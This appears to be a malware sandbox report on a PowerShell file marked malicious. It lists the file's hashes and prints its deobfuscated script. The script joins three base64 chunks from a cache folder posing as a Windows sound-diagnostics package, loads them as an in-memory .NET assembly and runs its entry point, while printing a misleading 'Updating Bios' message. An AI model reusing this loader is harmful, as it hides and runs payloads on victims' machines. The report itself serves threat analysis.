Malicious
Malicious

Part3.Resolution

PowerShell
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MD5: 2b04f5e11f985670bb5bf4d87409aebd
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Size: 2.76 KB
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application/x-powershell


Print
Infection Chain
Summary by MalvaGPT
Characteristics
Hash
Hash Value
MD5
2b04f5e11f985670bb5bf4d87409aebd
Sha1
d7a82babebe7c46a736e8fd337bd49ac570eb553
Sha256
d3ef9f47ab20192f4f1acb7098a4481f2faca5778e3e31e8aa61414af87328d7
Sha384
117c01ff202f0d3684def8fa9eccd310d73691db36aa07faef71eb7664ae00524a6720c8d57beb119f6daffb621a7d63
Sha512
914cbe829a6486072be87cd1d5725c95068b2115504869c93357e1d2951c4e0d93c4051a7b35d51ecc5fb1b7ee5c32b14d080e2a46f6441093b45197c68641b7
SSDeep
12:MABu0bJ64iaucuxyGAH2TSlqxd3pj//pnZY8VjSsKQRDOW5T0uiyhhv:u0bwt5c5GC2dTx3pni8EsKEyW5Diyb
TLSH
E551DD0E5517469D27F216BABD112C08E80C461FC15D2865B88C53C01F2A5644823EDC
File Structure
Part3.Resolution
Malicious
[Deobfuscated PS]
Malicious
Artefacts
Name
Value
Deobfuscated PowerShell

$dir = "$env:LOCALAPPDATA\Packages\Microsoft.WindowsSoundDiagnostics\Cache" $base64 = (1 .. 3 | ForEach-Object Get-Content "$dir\part$_.txt" -Raw) -join "" $bytes = [Convert]::"FromBase64String"($base64) $asm = [Assembly]::"Load"($bytes) $ep = $asm."EntryPoint" if ($ep) { Write-Host "Updating Bios:" $ep."DeclaringType"."FullName" "::" $ep."Name" if ($ep."GetParameters"()."Count" -eq 0) { $ep."Invoke"($null, @({ } )) } else { $ep."Invoke"($null, @({ [string[]] @({ } ) } )) } } else { Write-Host "No entry point found." }

Part3.Resolution (2.76 KB)
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